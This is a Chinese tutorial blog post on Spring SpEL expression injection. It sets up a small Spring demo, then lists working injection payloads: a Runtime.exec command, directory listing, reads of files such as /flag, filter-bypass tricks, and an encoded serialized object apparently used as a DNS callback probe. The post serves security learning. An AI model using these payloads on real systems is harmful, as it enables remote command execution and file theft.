java spel_Java spring SPEL表达式注入
首先搭建一个Spring环境。
文章可以看https://blog.csdn.net/cflys/article/details/70598903
一步步跟下去就行。
在src目录添加spring-config.xml
src目录下新建
Hello.java
public class Hello {
private String Name;
public void sayHello(){
System.out.println("Hello "+ Name);
}
public void setName(String name) {
System.out.println("SetName function start");
this.Name=name;
}
}
Main.java
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import java.io.IOException;
public class Main {
public static void main(String[] args) throws IOException {
ApplicationContext context = new ClassPathXmlApplicationContext("spring-config.xml");
//创建Spring的IOC容器
Hello hello = (Hello)context.getBean("Helloclass");
//调用spring-config.xml中ID为Helloclass对应的类
hello.sayHello();
//调用类的sayHello方法
}
}
spring-config.xml
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
//Hello类中name属性。对应的值
成功执行。并且setName方法。在创建IOC容器的时候就执行了。对name属性赋值
下面介绍SPEL
简单来说。就是在value中。用特定的语法实现一些功能。和Python的模板差不多
#{}是SPEL的定界符。{}内。都算SPEL语法
${}用于加载外部属性的值。必须写在${}中。例如#{'${}'}
SPEL也支持
科学计数法
#{1e1111}
类属性
#{Person.name}
类方法
#{Person.HelloWorld()}
函数
#{'Guoke'.toLowerCase()}
异常处理
#{Person.HelloWorld()?.toUpperCase()}
// ?. 确保左边语句不出错。如果出错。就不会调用toUpperCase()
调用包
#{T(java.lang.Math).random()}
直接new对象
#{new java.util.Scanner(new java.io.File('/home/dc2-user/flag/flag.txt')).next()}
说了基本语法。。那就开始利用了。
弹个计算器
#{T(java.lang.Runtime).getRuntime().exec("calc")}
列目录
#{T(java.util.Arrays).toString(T(java.nio.file.Files).list(T(java.nio.file.Paths).get('c:\\')).toArray())}
读文件
#{new java.util.Scanner(new java.io.File("c:\\1.txt")).next()}
#{T(org.apache.commons.io.FileUtils).readFileToString(new java.io.File("c:\\1.txt"))}
#{NEW java.util.Scanner(NEW java.io.BufferedReader(NEW java.io.FileReader(NEW java.io.File('/flag')))).nextLine()}
#{New java.io.BufferedReader(New java.io.FileReader("/flag")).readLine()}
#{T(java.nio.file.Files).lines(T(java.nio.file.Paths).get('c:\\1.txt')).findFirst().toString()}
利用FileUtils这个包。不是自带的
当遇到过滤关键字的时候。可以利用大小写。%00等骚姿势绕过
在SPEL中。关键字不区分大小写。比如new/NEW
也可以通过反序列化。绕过关键字过滤。
#{T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//3QAEHozM3Bzei5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly96MzNwc3ouZG5zbG9nLmNueA=='))}
其他bypass的。可以看
https://www.mi1k7ea.com/2020/01/10/SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
先占个坑。
java spel_Java spring SPEL表达式注入相关推荐
- 漏洞复现----42、Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)
文章目录 Spring Cloud Gateway 漏洞版本 漏洞复现 1.IP:端口,抓包修改请求包,构造包含恶意SpEL表达式的路由 2.刷新网关,触发SpEL表达式执行 3.查看SpEL表达式执 ...
- Spring Data MongoDB SpEL表达式注入漏洞安全风险通告第二次更新
奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 安全通告 近日,奇安信CERT监测到Spring Data MongoDB SpEL表达式注入漏洞(CVE-2022-229 ...
- 浅入深SpEL表达式注入漏洞总结
SpEL 简介 在Spring 3 中引入了 Spring 表达式语言 (Spring Expression Language,简称SpEL), 这是一种功能强大的表达式语言,支持在运行时查询和操作对 ...
- SpEL表达式注入、Spring JNDI注入
一. SpEL表达式:(Spring Expression Language),即Spring表达式语言,是比JSP的EL更强大的一种表达式语言.SpEL有三种用法,一种是在注解@Value中:一种是 ...
- java 代码执行el,专属于java的漏洞——EL表达式注入
前言"FSRC经验分享"系列文章,旨在分享焦点科技信息安全部工作过程中的经验总结,包括但不限于漏洞分析.运营技巧.sdl推行.等保合规.自研工具等等. 欢迎各位安全从业者持续关注~ ...
- Spring SpEL表达式的使用
文章目录 一.SpEL介绍 二.SpEL用法 1. 在@Value注解中使用 2. 在XML配置中使用 3. 在代码中创建Expression对象 三.SpEL原理 1. 解析器:Expression ...
- Spring SpEL表达式
spring expression language 是在spring3.0以后的版本提供 它类似于ognl或el表达式,它可以提供在程序运行时构造复杂表达式来完成对象属性存储及方法调用等. Spel ...
- 『Java安全』EL表达式注入
文章目录 前言 EL表达式解析启用/禁用 EL表达式注入 绕过方式 1. 反射 2. js引擎rce 3.String类动态生成命令字符串(ASCII) 参考引用 完 前言 EL表达式全称Expres ...
- Spring Boot框架表达式注入漏洞
2019独角兽企业重金招聘Python工程师标准>>> 高危漏洞的曝光总是发生在意想不到的时刻:周末所有人都准备享受周末的时间,Spring Boot框架的SpEL表达式注入通用漏洞 ...
最新文章
- [论文学习]DIVIDEMIX:带噪声标签的半监督学习LEARNING WITH NOISY LABELS AS SEMI-SUPERVISED LEARNING
- 远程下层文档 正在打印_奉贤金汇高速复印机出租一站式服务,上海区专业高速打印机出租...
- webservice框架_聊聊从RPC到服务治理框架
- Asterisk权威指南/第六章 拨号计划基础
- 关于国庆假期延长的通知
- 身份证识别(一)——身份证正反面与头像检测
- 智能计算之蚁群算法(ACO)介绍
- 计算机录屏幕和声音的软件是什么,电脑录屏软件带声音哪个好用 电脑录屏软件带声音软件...
- SPSS Modeler 数据导入操作
- 天线开路短路检测原理_LEA-5S的天线开路检测问题
- 指纹识别传感器市场仍将持续上涨
- DP分类题目 转载 《志当存高远》大神的 没有冒犯的意思 只是拿过来学习的
- android 播放器架构,Android播放器框架设计系列-1
- 二、8BootStrap
- Oracle PL-SQL 的使用
- 1003a+-*/b
- 组装r730服务器,戴尔机架R730内部结构_戴尔服务器_服务器评测与技术-中关村在线...
- Vue源码学习(一):源码的入口在哪里
- 3D建模新手无法掌握角色建模技巧?机器猫模型制作流程,学会很轻松!
- 查看漏洞库的地址总结
热门文章
- windows搭建php运行环境,Windows手动搭建PHP运行环境
- Android 网络小说阅读APP实现详解
- CeSi 安装与配置
- 整理学习之深度迁移学习
- Python pygame 坦克大战
- Python中计算两个数据点之间的欧式距离,一个点到数据集中其他点的距离之和
- RocketMQ消息消费方式 推拉模式
- 怎么使用Google GSC(原google站长工具)?
- 【微信小程序模板】可以用微信小程序模板制作小程序吗?
- win7_64位下部署Apache+Mysql5.7.19+Php7+Snipe-IT